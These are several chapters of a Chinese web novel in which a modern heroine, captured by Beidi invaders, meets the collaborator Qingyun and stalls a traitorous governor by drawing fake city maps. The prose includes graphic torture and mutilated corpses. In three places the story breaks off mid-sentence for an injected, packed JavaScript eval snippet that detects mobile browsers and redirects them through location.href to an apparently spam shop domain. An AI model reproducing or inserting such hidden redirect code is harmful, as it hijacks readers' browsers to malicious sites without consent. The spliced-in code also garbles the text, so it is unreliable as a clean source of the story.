红杏咬着下唇想了想,摇摇头,“我这几天一直躲在洞里,不到万不得已不出来,所以我也不知道外头现在是个什么样的情景。” 稍微想了想后,她继续说道:“荒山再走个三四天能到,不过如果你们脚程快的话,两天也行。” 听到这话,小满没有犹豫,立刻放弃了继续南下的想法。原因无他,不仅时间不算充裕,她也实在是走不动了。 这几天她只吃了四个拳头大小的梨,热水都没喝上几口,整个人精疲力尽,就算睡得再多也很困倦。刚才控制住红杏已经让她用上了吃奶的劲,眼下她头晕眼花,只能依靠掐自己的手心来维持自己的头脑清醒。 红杏和嘻嘻拖动被劈成两半的柜台,在大堂角落拼凑出一个可供两人躲藏的区域。小满看似是趴在窗户口望风,但实际上她却在想些别的什么。 在这家香粉铺子里碰到红杏纯属意外,虽然能从这个本地居民那里得到不少消息,但相应的,凭空多了张吃东西的嘴。她们原本的储备处在告罄的边缘,如果再找不到能填饱肚子的东西,小满不确定自己会不会就此抛弃她们离开。红杏好糊弄,嘻嘻要多费点力气…… 小满还没理清思绪,那边的北狄人却出现了新的骚动。 一个骑马的北狄人冲进了正在寻欢作乐的人群中,激起一阵阵叫骂。那北狄人笑容不变,凌空挥了一下马鞭,四周的牢骚就此收了声。 他翻身下马,和迎上来的其他人一一碰肩问候,随后走到马后,提起一条血肉模糊的物体。 小满定定地看着那个物体,眼神闪了闪:这不是那个被逮走的男会员吗? 脖子上戴着铁链的男会员狼狈不堪,上身的衣物不翼而飞,裸露的皮肤上到处是血淋淋的鞭痕。他一侧的脸颊高高肿起,半张脸都变了形。要不是小满仍记得他五官的大体轮廓,怕是也认不出眼前人的身份。 那个北狄人将男会员推搡到地上,用北狄语和在场的人说了些什么,随后他一扬鞭子,狠狠抽向男会员。 呆滞的男会员缩了缩脖子,撑起身跪坐在地上,掏出三个脏兮兮的海绵小球。一旁有人给他递来一根筷子两个瓷碗,他伸手将两个碗倒扣在面前,将筷子和小球攥在手中。 小满知道这个叫三仙归洞,是一个考验手速和手法的传统戏法。虽然简单,但是配合着表演者的表情和顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426499|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口溜,还是挺有意思的。 但男会员不知道经历过什么,一拿起小球双手抖个不停。原本应该藏在手心里的海绵小球在他摆弄碗的动作中就这么掉了下来。他伸手去捡,筷子的另一头却挑开了还不能打开的碗。 见他慌慌张张地收拾残局,一副欲哭无泪的表情似乎取悦了众人。周围的士兵被他滑稽的模样逗得哈哈大笑,起哄似的向男会员丢掷着手旁的杂物,像是在戏耍一只落水的老狗。 那个将他带来的北狄士兵一脚踹倒了男会员,他用男会员能听懂的语言揶揄道:“你变呀,你不是说你会的是仙法吗?看来青云说的没错,你就是个胆大妄为,想要骗我们的庶民罢了。” 男会员被踹倒在地,紧咬着牙直起上半身,脸上挂着讨好的笑,不断地哀求着再给他一次机会。 小满收回目光,注意力全在刚才北狄人说的那两个字上:青云。北狄人有口音,小满听得也不是很清楚,但结合男会员的情况来看,青云是自己想的那个青云的可能性非常大。 很快,她的想法得到了证实。 远处又传来一串马蹄声,一个骑马的北狄人来到了众人欢聚处。他下马后牵来一个红衣服男生。 那个男生双手扶着膝盖大喘粗气,虽然脖子上戴着锁链,但身上的衣物完好无缺,脸上也不像有伤的模样,和那个男会员比简直一个天上一个地下。 小满眉毛直跳:那个人不是青云还能是谁? 第一次任务中青云没有回答哈比的隐藏问题径直离去,小满也不曾收到他的好友申请。没想到这还不到两个月,她居然又碰到了他。 不过小满的好奇心还是促使她继续看了下去。 青云看样子是跟在马后一路小跑过来的,他休息了一会,撑着腰站直身子随意扫视着在场的北狄人。 “青云,这神汉真像你说的似的,是个学艺不精的废物呀!”人群肆意地哄笑着,全然不顾在最中间的男会员的感受。 “诶,话不能这么说。他就算学得精又如何?还不是只能给大伙添点乐子。”青云也笑了起来。 笑够了,他嘴角微勾,像是想到了什么有意思的事情,“我们来玩个好玩的吧,就比如这个,”青云从自己的口袋中掏出一沓纸片,在众人面前展开,“这个叫俄罗斯轮盘赌,一共八张纸片,七张是勾,一张是叉。抽到勾的人安全,抽到叉的人自罚一杯。” 青云看向男会员,皮笑肉不笑,“要是他抽到了勾,赏他一马鞭。要是他抽到了叉嘛,那就直接杀了他,如何?” 北狄人欢呼雀跃,争先恐后地来到青云面前排队,不住地夸奖着他“有意思”,“好玩的异乡人”一类的话。 男会员目眦欲裂,他往青云站的方向爬行几步,愤恨道,“看你的穿着,你也是个现代人吧?都说老乡不能为难老乡,你怎么能这么对我!” 青云向他投来一个意味深长的眼神,旋即往他手里拍了张卡片,“老乡你放心,你暂时还死不了。现在先专心玩游戏吧,惹烦了北狄人,你可没好果子吃。” 21. 垂玉城七日 男会员瞧见北狄人提着马鞭前来驱赶他,火气顿时烟消云散。他熟练地换上一副讨好的笑,坐到了青云提示的地方。 除了青云和男会员,还有六个年轻些的北狄人在列。青云装模作样地洗了洗牌,在每个人面前发放了一张背面朝上的卡片。 男会员盯着面前的卡片,紧张得大气都不敢喘。他半眯着眼睛,伸手掀开卡片的衣角飞快瞟了一眼,再一眼。在确定了卡片上的图案后,他眼睛蓦地瞪大,咻地一下将卡片翻转过来,“是勾!是勾啊!” 与欣喜若狂的男会员不同,青云轻飘飘地掀开卡片,看了卡片上的勾一眼立刻收回了视线,眼观鼻鼻观心,瞧不出一点开心的情绪。 场上唯一的叉自然落在了北狄人那里。那个倒霉的北狄人被周围哄笑的人灌酒,他饮下一杯烈酒,被呛得咳嗽连连。 年轻的北狄人不忿地抬头,正巧看到男会员喜极而泣。那夸张的动作让他来了火气,于是他将酒杯狠狠扔到男会员的脸上,“下贱的短毛奴隶,你得意什么?” 他用力之大,大到酒杯一碰到男会员的鼻梁即刻四分五裂。碎瓷片划过男会员的脸颊,留下一道道狰狞的血痕。男会员怔愣片刻,条件反射一般赶忙下跪磕头,“我不是,我没有……” 青云就像是没看见面前发生的种种一般,自顾自地收回地上散落的卡片,“大人们还要继续吗?” “继续!”那个年轻北狄人依旧不解气,他愤愤出声,催促青云快些动作。 这次男会员不走运,纵使他百般做法祈祷,结果却抽到了叉。 一旁摩拳擦掌的北狄人欢呼一声,泄愤似的高高举起手中的马鞭抽在了男会员肩膀上。这一鞭力气不小,男会员闷哼一声,僵直着上半身倒在地上。但是即便如此,北狄人也没放过他,强迫他坐起身和他们继续游戏。 这样的轮盘赌持续了十几轮,期间男会员抽出了半数的叉,被雨点似的马鞭打得奄奄一息。 青云也抽到了一次叉,那北狄人一鞭子下去打得他的胳膊皮开肉绽,但他像是个没事人似的,照样洗牌发牌。不过那颤抖的手指表明他还是有些痛觉,只是强忍着不表现出来罢了。 渐渐地,篝火黯淡,四下寂静。北狄人喝多了,打着酒嗝入睡,剩下的一个稍微清醒些的人捡起地上的铁链,踹了踹倒在地上的男会员,“起来,赶紧起来。” 遍体鳞伤的男会员连应答的力气都没有了,他趴在地上,弓着背试图站直上半身,但最终还是软软地瘫倒了下去。 见状,北狄人不屑地冷哼一声,顺手拿起另一条铁链,“青云,这人就留给兄弟们处理,咱们回北边去。” 青云放下手中的酒碗微微一笑,说:“是该回去了,不过咱们是四个人来的,就三个人回去,是不是不妥?” “啊?”北狄人似乎是没听懂青云的话,他张着嘴,眼珠转了又转,似乎是在努力理解青云的话。 青云见北狄人一副呆愣愣的模样,干脆站起身,往旁边一指,“你们怎么清理的这边?那边店里有个人观察了咱们这么长时间,难道你都没发觉吗?” 他手指的方向正是自己观察他们的窗口。小满有些错愕,毕竟这扇窗户虽然残破,但自己观察的地方有纸糊着,多少能遮掩一点,看来自己还是低估了青云对于眼神的敏感程度。 小满正要蹲下身逃跑,不料青云眼疾手快,说话时已然来到了窗前,伸手推开了那扇残破的窗户。 既是如此,小满也没了逃跑的兴趣。她坦然地站起身,直视青云的眼睛。 借着火光看清小满的脸后,青云脸上冷冰冰的表情中掺杂着一丝错愕。他上下打量着小满,做出一个嘲弄的微笑,“你还活着啊?” 小满不想回答他的话,只好礼貌地勾一勾唇角。 那个北狄人匆匆赶来,青云见此情形,好整以暇地抱着双臂,让出了窗户的位置在一旁专心看戏。 北狄人见面前站着一个穿着朴素简装的年轻女子,醉醺醺的眼神也变得轻佻起来,“哦,原来是个年轻的小娘子。” 正说着,他伸手就要来摸小满的肩膀,小满一低身子,迅速从窗户中翻了出去。 北狄人摸了个空,他扭过身来骂了几句北狄话,气势汹汹地要捉小满的胳膊。 不料小满倒退一步,与他们拉开距离,怯怯道:“我是袁太守府上的丫鬟。太守那日走得匆忙,将几样东西落在了府上,我此番前来正是为袁太守解忧来的。” 一提到袁太守这三个字,面前北狄人的酒似乎醒了几分。他收回了轻佻的目光,转而用狐疑的眼神审视着小满,“袁太守有什么重要东西落在府上,又要你这么个小丫鬟来送?更何况这里离那个姓袁的的院子有些距离,你是怎么跑到这里来的?” 忽略了一旁青云看好戏的目光后,小满斟酌着语句,谨慎道,“我也是旁处卖到袁太守府上的,自打来了就一直在书房伺候。这垂玉城这么大,我头一次出门就迷了路,这才流离到了这里。” 说罢,她直接掩面哭泣了起来,“你们北狄人长得是那么高,又是那么凶,我一见就吓得腿直颤。今天见了大人你,才知道北狄军中也是有能耐下性子听我说话的。这几样东西实在是重要,事关重大,还请大人先带我见上袁大人一面,再下定夺。” 北狄人没出声,只是拧着粗眉上上下下地打量小满。末了,他伸手拽了拽青云脖颈上的铁链,“青云,你觉得这个小丫鬟说的话有几分真?” 青云装出一副思索的模样,片刻后微笑着点点头,“不如大人就依她所言,先带去给袁大人瞧瞧。若是她真能在袁大人面前辩出个所以然来,对于大人来说也是小功一件。如若不然,就让她去填那些舞姬的缺,也是物尽其用了。” 那个北狄人歪着头想了会,很快就不再犹豫,他找来一截粗麻绳将小满的双手倒系在身后,将她栓在了马鞍上。 北狄人的马步幅很大,而麻绳无疑又加重了身体的负担,小满这一路走得踉踉跄跄,十分艰难。不知往北走了多久,从天黑走到天亮,从浓重夜色走到明亮的曙光。在小满走得头晕眼花,几乎就要昏倒之际,北狄人的马终于停了下来。 这里似乎是北狄人大队军马的驻扎地,放眼望去,全是盖着皮毛和毡布的帐篷。黑色的旗帜上画了一只昂首嘶吼的野狼,飘荡在每个帐篷的上空。 这边的情形和刚才那处的情形差不多,街上尽是燃尽的火堆。喝得烂醉的北狄人东一堆西一堆地倒着沉眠。有些尚未沉睡的借着篝火清点自己掠夺的财物,有的则放肆地摸着怀中不着寸缕的女人,眼底全是赤裸裸的欲望。 青云一路上都不曾说话,越往北走,他就越沉默。一个北狄人迎上来说了几句话,将他牵到了一处简易的栅栏中。 还不等小满站直身子喘口气,又来了一个眼生的北狄人给她脖颈上戴上铁链,牵着她继续往东北方向走去。 只是越往那边走,小满看着眼前的一切就越熟悉,直到天光大亮,她看清了面前的情景,不由自主地倒吸了一口凉气:这里正是最初她带着嘻嘻逃离的富人居住区! 眼前的小河依旧在缓缓流淌,只是水浑浊了不少。河两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450975|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岸每隔十来步安置着一个常明的火把。这里和自己当初逃离时不一样了,至少面前的一切不是自己想要看到的。 再往前数十步,小满又看到了熟悉的场景。红色的墙壁,黑色的砖瓦,两只口含珠子,耀武扬威的大石狮子,这里是最开始时贺老爷的居所!贺老爷为人富贵,最喜欢奢华的东西,连一砖一瓦,都要使用和旁人不同颜色的砖瓦。这个颜色在周围黑扑扑的房屋中鹤立鸡群,是贺老爷的屋子无疑了。 小满看得心惊,仿佛已经预料到了将来的发展。于是她率先做了个深呼吸,企图平复一下自己狂跳的心脏。 北狄人将她领到了那个熟悉的院子中,小满深吸了一口气,这才睁开双眼。 但很明显,即便她准备了,那也是她准备少了。首先迎接她的不是别的,是贺老爷人头分离的尸体。往日穿着精致,总是一副养尊处优的富人形象的贺老爷,此刻却静静地倒在地上,原本华贵的袍子上也沾染了泥水,一点也看不出上面绣着的金线牡丹图案来。他睁着一双眼睛,因为死亡时间过长,他的眼白已经微微变色,变成了像玻璃珠子一样毫无生气可言的雕塑。 在他一侧躺着的,是原本皱着眉毛,连上菜上晚了都要气得打杀人的贺夫人。如果小满没记错,贺夫人应当正怀着身孕。但此刻的贺夫人下身的衣服不知所踪,原本上衣上绣了一只张嘴提名的凤凰,但此刻,凤凰也只是徒劳地张嘴叫着,下半身光亮亮的尾巴羽毛不知所踪,贺夫人血淋淋的一片,见了就骇人。旁边扔着一个两个手掌大小的血红色东西,如果自己没有看错,那应该就是贺夫人腹中的胎儿。 小满见了只觉得恶心,她想吐,但是又吐不出来,只好将头扭到一旁,看着别的东西转移自己的注意力。如果凯文在这里,是不是会被眼前的景象吓到?小满想了想凯文一看到鲜血和尸体就狂吐不止,一副气虚冒汗的虚弱情景,只好又摇了摇头。 他最好还是一开始就躲起来,不要看到这些血腥的东西才好,不然他在这里吐了昏天黑地,自己还真不知道要怎么帮他打掩护。毕竟他的个头就不小。 离前厅越来越近,小满也顾不得想其他的东西。她深吸一口气,将自己的思绪重新转移到自己身上,将自己原本的措辞在脑海中过了一遍后,她终于放下心来,摆出一副哭哭啼啼的模样。 一进屋,她率先跪在地上,大声哭诉着:“不知道袁太守在何处?奴婢是袁太守府上的奴婢,特来尾袁太守送几个重要的物件。” “我就是袁太守。”一个端坐在太师椅上的男人拧眉向小满看去,他十分肥胖,看样子像是硬塞进北狄人的衣服里一般。他的胖脸上挂着一撮滑稽的小胡子,像是卓别林一样滑稽。 小满赶紧低头,压抑住脸上的笑意,最终还是说道:“太守,奴婢奉您的命令,来为您送东西来了。” “哦?”袁太守似乎来了兴趣,他笑眯眯,笑意却不曾达到眼底,“你说我要你送东西?送的是什么东西?又是什么时候让你送的?” “是重要的东西,还请袁太守凑近,奴婢为您解答。”感受到袁太守不怀好意的,色眯眯的目光,小满的隔夜饭都要吐出来了,好在她隔夜也没吃什么东西,不然自己的计划就要功亏一篑。 “是城防图,还有水文图的图纸。”小满大声答道。 这个回答似乎出乎了袁太守的预料,他当即让周围人退下,自己则快速靠近小满,“你说,你有垂玉城的城防图?是真是假?” “千真万确!奴婢万万不会拿自己的性命开玩笑!”小满仰起头,斩钉截铁地答道。 22. 垂玉城七日8 面前的男人突然发难,小满不急不躁,再次俯首叩拜,“袁大人不必如此试探奴婢,奴婢所言非虚,来此的确要呈给大人一些东西。” 这番话小满说得慷慨激昂掷地有声,情绪到了,她顺便伸出三根手指发了个毒誓,“若奴婢有一句虚言,便要天打五雷轰,死无葬身之地。” 大厅中寂静了一瞬,小满即使不抬头,也能感受到面前老年男人释放的威压。她其实也在赌,赌面前这个穿着和北狄人截然不同的老人正是别人口中的“袁太守”,赌他只是出于谨慎,从而出言诈自己一诈,不是真的怀疑自己的目的。 果然,不出小满所料,面前的男人长嗯了一声,“也罢,你且起身回话吧。” 看来袁太守并未起疑心,又或者,自己已经将他糊弄了过去。小满心里的一块石头落了地,她规规矩矩地行过一礼,站起身与袁太守对视。 “你说你有东西要交给我,是什么?”袁太守眯起眼睛,微笑着回应小满过于直接的眼神。 小满朗声说道,“是城防图和地下水文图。” 听到这几个字,袁太守紧绷的身体短暂地放松下来。他让人呈上一杯茶,慢条斯理地掀起茶盖,撇着茶水上的浮沫,“眼下的情形你一路上也瞧见了,北狄军一路势如破竹,想必用不上你带来的两样图纸。” “不,奴婢带来的图纸不是垂玉城的,”小满微微勾唇,“是阳城的城防图和地下水文图。” 袁太守平静的表情终于起了波澜,他的头不自觉地点着,像是在分辨小满话语的真假,“袁府什么时候有这两样图纸了?还是你为了活命,想出来诓骗我和北狄人的借口?” 小满面不改色,继续临场自由发挥,“大人既然已经看出了我的目的,那我也没什么好遮掩的了。实不相瞒,我的确想活下去,而这两样图纸,就是我给大人的投名状。” “区区一个后院里的黄毛丫头居然身怀两样机密文图,那若是真的,北狄跑出去打探情报的先锋军岂不是成了吃白饭的了?”袁太守的声音听不出喜怒的情绪,他淡淡抛出一句质疑,随后继续喝起茶来。 小满大概懂他的意思,无非是袁太守想让自己为自己说出的话做担保。如果自己说的那两幅图是真的,头等功劳自然要算在他头上。如果自己只是在撒泼搅混水,那也是自己为了求生不择手段,不是袁太守他心软失察。 想到这一层,小满再次下跪俯首磕头,“还请袁大人给我一个展示的机会,我是生是死,待袁大人看过地下水文图后再做定夺。” 既然话说到了这份上,袁太守哪里还有拒绝的道理。他抬手示意小满起身,“把那两张图拿来我看看。” 小满慢悠悠地说话,吊了吊袁太守的胃口,“袁大人足智多谋,怎么会不知道‘匹夫无罪,怀璧其罪’的道理?这图不在我身上,而是在这里。”说及此处,小满伸出一根手指轻轻点了点自己的脑袋,答案显而易见。 袁太守身体微微前移,表情也认真了几分。他看向小满的眼神中多了点笑,“原来我府上还有你这种机灵的丫头,不错,不错。” 他朝身后的北狄士兵吩咐几句,随后小满就在其中一人的带领下来到了戒备森严的书房。 书房四面的窗户大开着,里三层外三层的北狄军将它围得像一个密不透风的铁桶。 小满看着空荡荡的房间,微微叹了声气。自己曾在这里逗留,对房间的布局了解一二。书房中的各种典籍不翼而飞,连一片带墨迹的纸片都没有给自己留下。这袁太守想得还真周到,这么短的时间就给自己找出了一间不受外部信息干扰的地方,不愧是叛了城的老心机。 腹诽归腹诽,在一众凶神恶煞北狄士兵的注视下,小满坐到桌前,抬起手磨墨。 说什么记得阳城的地形图之类的话都是骗人的,自己也就是当时看垂玉城地形图的时候记住了位于南方的那座城池的名字罢了。既然已经说出了一个谎言,那就要用更周密的谎言来延长它的寿命。好在自己还记得一些特殊的符号和等高线一类的标记,画出一副用来糊弄的“地形图”也不是难事。 她借着磨墨的时间慢慢回忆阳城的地形,随后提起笔,凝神写画起“阳城地下水文图”来。 朝去暮来,夜色昏沉。贺府的屋檐升起灯盏,把守书房的北狄士兵举着火把,像一尊不知疲倦的石俑。 袁太守中途曾来过一趟,说是给小满送灯送点心,但眼神像是粘在了她正在写画的宣纸上,一刻也不曾挪开视线。小满有意拖延,一看到袁太守就假装喝水休息。袁太守还以为是自己的视线给小满增添了压力,找她说了一回话就识趣地离开书房。 终于,在桌上的蜡烛将要燃尽时,小满终于补上了图画的最后一笔。她收起毛笔,淡定地吹着半干的墨迹。 这一幅图自己就拖延了小一日,明日再作另一幅,又能拖延一日。如果这计划行得通,那么自己只要一直凭借“会作图”这个技能一路苟命,画到第八日早上六点,这个任务就算完成了。 她让人唤来袁太守将图呈上,袁太守举着灯台,将整张图上上下下扫视了一遍。他脸上的表情依旧淡淡的,“怎么就一张?” 小满微微欠身行礼,“一张图要标注,划线,勾勒细节,奴婢认识的字少,只得用简笔画标注,故而耽误了不少时辰。” 听到这里,袁太守又仔细看了遍水文图,似乎是在确认小满话的虚实。也就过了几分钟,他将宣纸折好放进袖口,吩咐道,“你今晚暂且在这边睡下,明日再将阳城城防图补画出来。” 袁太守脚下生风,大步流星地踏出书房。小满甩甩僵硬的胳膊,将书桌上的文房四宝收到一旁,打算趴在桌子上将就一晚。 值守士兵送进来一叠油纸包着的芝麻烧饼,小满撕了一小块放在嘴中缓慢咀嚼。烧饼好像放了好几天,有点干巴。小满想找点茶水送送嘴里的面饼,但茶壶空空如也,倒不出一滴水。 守在门口的北狄士兵昏昏欲睡,不住地磕头,余光瞟到小满摇晃茶壶的动作,立刻警觉地朝她那边看去。 这个北狄士兵看起来似乎很年轻,他身着一套过大的,连护颈和护臂都没有的铠甲,随便一动身上的铁片就叮当作响。他的脸脏兮兮的,一双琥珀色的眼睛倒是很精神,正恶狠狠地盯着小满,像是在戒备什么。 小满冲他笑了笑,“空的,有水吗?” 年轻士兵的手按在了腰侧的佩刀上,似乎下一秒就会做出进攻的动作。 难道他听不懂自己的话? 小满做了个拿着什么东西往嘴中倒水的姿势,然后又晃了晃茶壶,把空空如也的内里展示给他看,“我,要喝水,有水吗?” 年轻士兵不为所动,像只蓄势待发的小狼。 就在小满遗憾地收回茶壶时,年轻士兵说话了,“你把茶壶放在地上,退后。” 小满依他所言,将茶壶放在离门框有两三步的空地上。年轻士兵用刀拨过茶壶,用随身携带的水囊将茶壶填满,又给小满推了回去。 小满坐在桌前继续吃着寡淡无味的芝麻烧饼,思考年轻士兵的表现。 后半夜,月明星稀,在门外站岗的就他一个。这个年轻士兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552668|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么兢兢业业,就算困得要死还要看守自己,多半是因为受到了其他老兵油子的排挤,被打发来做累活。他虽然看起来凶,但至少能沟通,总的来说不算一个警惕性特别强的老练军人。 书房四下大开着窗户,很容易就能看到其余的士兵。他们要么凑在不远处的草地上不知道在玩些什么,要么靠着墙打瞌睡,全然忘了这书房中还有自己这么一个需要严加看守的画图丫鬟。 想到这,小满慢慢踱到门口,还没说话,年轻士兵向她抛来一记眼刀,脊背也跟着紧绷起来。 小满及时止住脚步,语气轻柔,“你多大了?” 年轻士兵的沉默在小满的预料之中,小满垂下眼,片刻后,再次看向年轻士兵,眼底略过一点恰到好处的慌乱无措。 “我没别的意思,就是,就是,你长得很像我弟弟,特别是眼睛那一块,”小满抿嘴一笑,伸手在自己的腰附近比了比,“我离家时他才这么高,这么些年过去,也不知道他现如今长高了没,壮实了没。” 她像是一个沉浸在幻想中的好姐姐,提到“弟弟”,嘴角忍不住勾出一抹笑,“上次娘来信,说他修瓦房时把我给他做的那件秋装划破了,还央求娘寄来给我补一补。我想着那件衣服他穿了好几年,今年也该做件新的了,前几日刚往家中多寄了点银子……” “你弟弟多大了?”年轻士兵满腹狐疑地打量着小满,声音略微低哑。 小满见他开口说话,很自然地前移几步,“十二,不过这个月下旬是他的生辰,过了那日子就十三了。” 听到“十三”这个数字,年轻士兵的眼神有点恍惚。小满捕捉到他的动摇,趁热打铁继续追问,“你十三了?不过瞧你的身材,倒不像是个半大小子,像是个年轻小伙子啊。” “没有,我就比你弟弟大一点。”年轻士兵脸色稍霁,他直起脊背,抖抖不合身的铠甲,努力让自己的身形看起来更加高大。不料,一阵不合时宜的咕噜声让他僵在原地。 声音的来源是年轻士兵的肚子,他似乎也意识到了这点,脸和脖子涨得通红,旋即别扭地转过脸,不再与小满对视。 小满十分善解人意,她拿来两个烧饼往年轻士兵怀中一塞,满不在乎地说,“我们这里有句古话,叫半大小子吃穷老子。你这年纪正是长身体的时候,值夜不多吃点怎么行。” 年轻士兵看见烧饼眼睛一下子就亮了,他装模作样地推辞了两下,奈何实在抵挡不住芝麻的香气,抓起饼狼吞虎咽地吃了起来。 小满看着离自己不过一臂距离,却低头只顾吃饼的少年,嘴角浮现一抹微不可查的浅笑。 彤彤之前说过,普通人的社交距离大概在一米二到三米六之间,只有朋友才能进入一米二的范围。看来这个年轻士兵确实年轻,只听了几句话吃了几块饼,就渐渐对自己放下了戒心。 她心里一动,忽然抬起手,做出一个抚摸他头顶的动作,“慢点吃,没人跟你抢,那边还有呢。” 年轻士兵机警地闪身避过将要放在他头上的手,拿着饼站到了几步开外,又重新变成了一个戒备状态的士兵。 小满脸上露出一个尴尬的微笑,“对不住了,我就是看你吃得很急,想劝劝你而已,不知道你的反应会这么大……” 见过小满歉疚地笑着,年轻士兵下颌紧绷,像是在思考什么。他看看手中的饼,犹疑片刻,还是走回了小满身前,“你别离我太近。” “嗯,我知道了,”小满局促地捏着衣角,惶恐不安地看向年轻士兵,“那我能和你说说话吗?咱们就这么站着,聊聊天就行。” 23. 垂玉城七日9 年轻士兵没有应答,但他慢慢倚靠在门框上的举动无疑是默许了小满的请求。 “你们很辛苦吧?这么晚了还要在这里值夜。”小满嘴上念叨着年轻士兵,眼神却很诚实地瞟向一旁嬉笑打闹的其他人。 “不辛苦,就是站岗而已,顺便看住你,不让你跑了。”年轻士兵顺着小满的眼神看了其余士兵一眼,又快速地低下头。他回答完后就只顾低头吃饼,像是在刻意掩饰自己的情绪。 小满轻笑一声,“外面都是你们的人,我还能跑到哪去。倒是你,在这里站了这么久,怎么没人来替你的班,让你去休息一会?” 年轻士兵撕下一块饼,冷哼道,“他们连吃的都要抢我的,还能替我的班?更何况我对他们那些人也不感兴趣,玩不到一块,干嘛要往上凑呢。” 小满见他吃完了一个饼,又塞给他另一个,状作无意地说,“不感兴趣?怎么可能。明明我来这个院子的路上就曾见到过一个穿着红衣服的短发男人。他会的花样可真不少,你肯定没见过吧?不然怎么会说不感兴趣。” “红衣服的短发男人,你说的是青云吗,”年轻士兵咀嚼的动作停滞,他眉间泛起一点细微的波澜,“我没见过他,不过我听过他的名字。” 小满轻嗯一声,继续说道,“他的衣裳和你们的不像,他是不是北狄人?” “一个不知道从哪里冒出来的小子,怎么配穿我们的铠甲,”年轻士兵颇为骄傲地弹了一下身上的铠甲,“就是一个会点小把戏,用花言巧语哄人的玩意罢了。” 见小满一副兴趣满满的模样,年轻士兵左顾右盼,犹豫片刻后低下头凑近小满,“据说,我们攻进城的第一天,他就找上了我们主帅。我也不知道主帅和他谈了什么,总之,他算是保住了一条小命。不过我觉得他能活下来的主要原因,还是他能分辨中原人和现代人的区别。” 小满心里咯噔一下,“现代人?” “对,就是现代人,也不知道现代是哪个国家,”年轻士兵伸手在头上抹了一下,“那里的人头发都很怪,还穿着花花绿绿的衣服。青云让我们发现了现代人就带过去给他瞧瞧,说能从他们嘴里得到些有用的情报。” 小满随意地应付了年轻士兵几句,重新回到桌前,托着下巴沉思。 现在去找袁太守坦白自己的身份估计已经迟了,如果说自己其实是个不仅会讲话本子还懂得畜牧知识的现代人,无论袁太守信不信,会不会带自己去见主帅,他终究会怀疑自己的用心,连带着自己送出去的那张图纸也发挥不了它原本的作用。 总地来说,青云没有说出自己现代人的身份反而是件好事,何况他自身的处境也非常糟糕,两人未来还能不能碰上面还是两说。既然如此,那么原本画图苟天数的计划还是照常实行。 书房的另一侧有张贵妃榻,小满蜷缩在上面凑合了一夜。 北狄人都是大嗓门,说起话来像是吵架一样激烈。小满一大早就被在院中操练的北狄士兵吵醒,她伸手搓搓自己的脸,努力让自己清醒一点,然后深吸一口气,坐到了书桌前。 她没有着手画图,而是另找了张空白的纸,在上面写画歪歪扭扭的图形。 日头到了中天,袁太守带着一个竹篮姗姗来迟。在小满行过礼后,他微笑着将竹篮揭开,“饿了吧?来,吃个饼。这饼可是肉馅的。” 小满伸手接过,在袁太守温和的目光中咬了一口。饼皮松软滋润,肉馅鲜嫩多汁,最重要的是,还是热乎的,像是刚出锅。小满咽下口中的肉饼,伸手将咬剩下的缺月放回竹篮中。 她垂下眼睫,紧咬着下唇,一副欲言又止的难堪模样,“大人,可是昨日的那张图出了什么问题?” 一时间,书房中鸦雀无声,小满几乎可以听到自己的心跳。 袁太守示意看守书房的北狄士兵暂时退下,又让小满抬起头来。他脸上的笑容不复存在,又成了初次见面时那个冷若冰霜的清瘦中年人,“主帅看过你呈上的图后一言不发,半晌才说这图不对劲。在我等的再三追问下,主帅才说,你这图画得太简略,只把阳城的外形草草勾勒,其余的也看不出来什么,因此,留你无用。” 说罢,他将小满吃剩的那张饼挑到地上,“北狄风俗,凌迟处死的人临刑前要吃肉。虽说我为你求了情,但你在北狄营地里留驻太久,主帅担心你看到些不该看的,让你吃饱后由我监督行刑,即刻上路。” 书房中只余袁太守敲打桌台的声响,一下一下,像是要将小满锤入地狱。 小满在袁太守看不见的地方冷笑一声,再抬头,眼眸沉静,“袁大人这是何苦呢,奴婢可不经吓。身为丫鬟,奴婢不识得几个字,因此阳城图上的重要信息皆由其他的图画代替。这事袁大人难道没有向主帅提及吗?” “我就知道你还藏了一手,”袁太守微笑着缓慢点头,只是那点笑意也不达眼底,“起来回话吧。” 小满低垂着眉眼坐回椅子上,暗暗腹诽着面前的老头。这个老东西真不道德,拿了自己的图刷功劳也就罢了,居然敢说图不对劲,还想压榨自己。他看来是真着急,想在第二天就逼自己说出自己的后手,连凌迟这种万全不符合北狄人行为的理由都能找出来吓唬自己。 但是没办法,人在屋檐下,哪有不低头。如果现在不说,他指不定会对自己做出什么过激的行为来。 想到这,小满带着袁太守来到书桌前,给他看墨迹还未干透的图画标注。 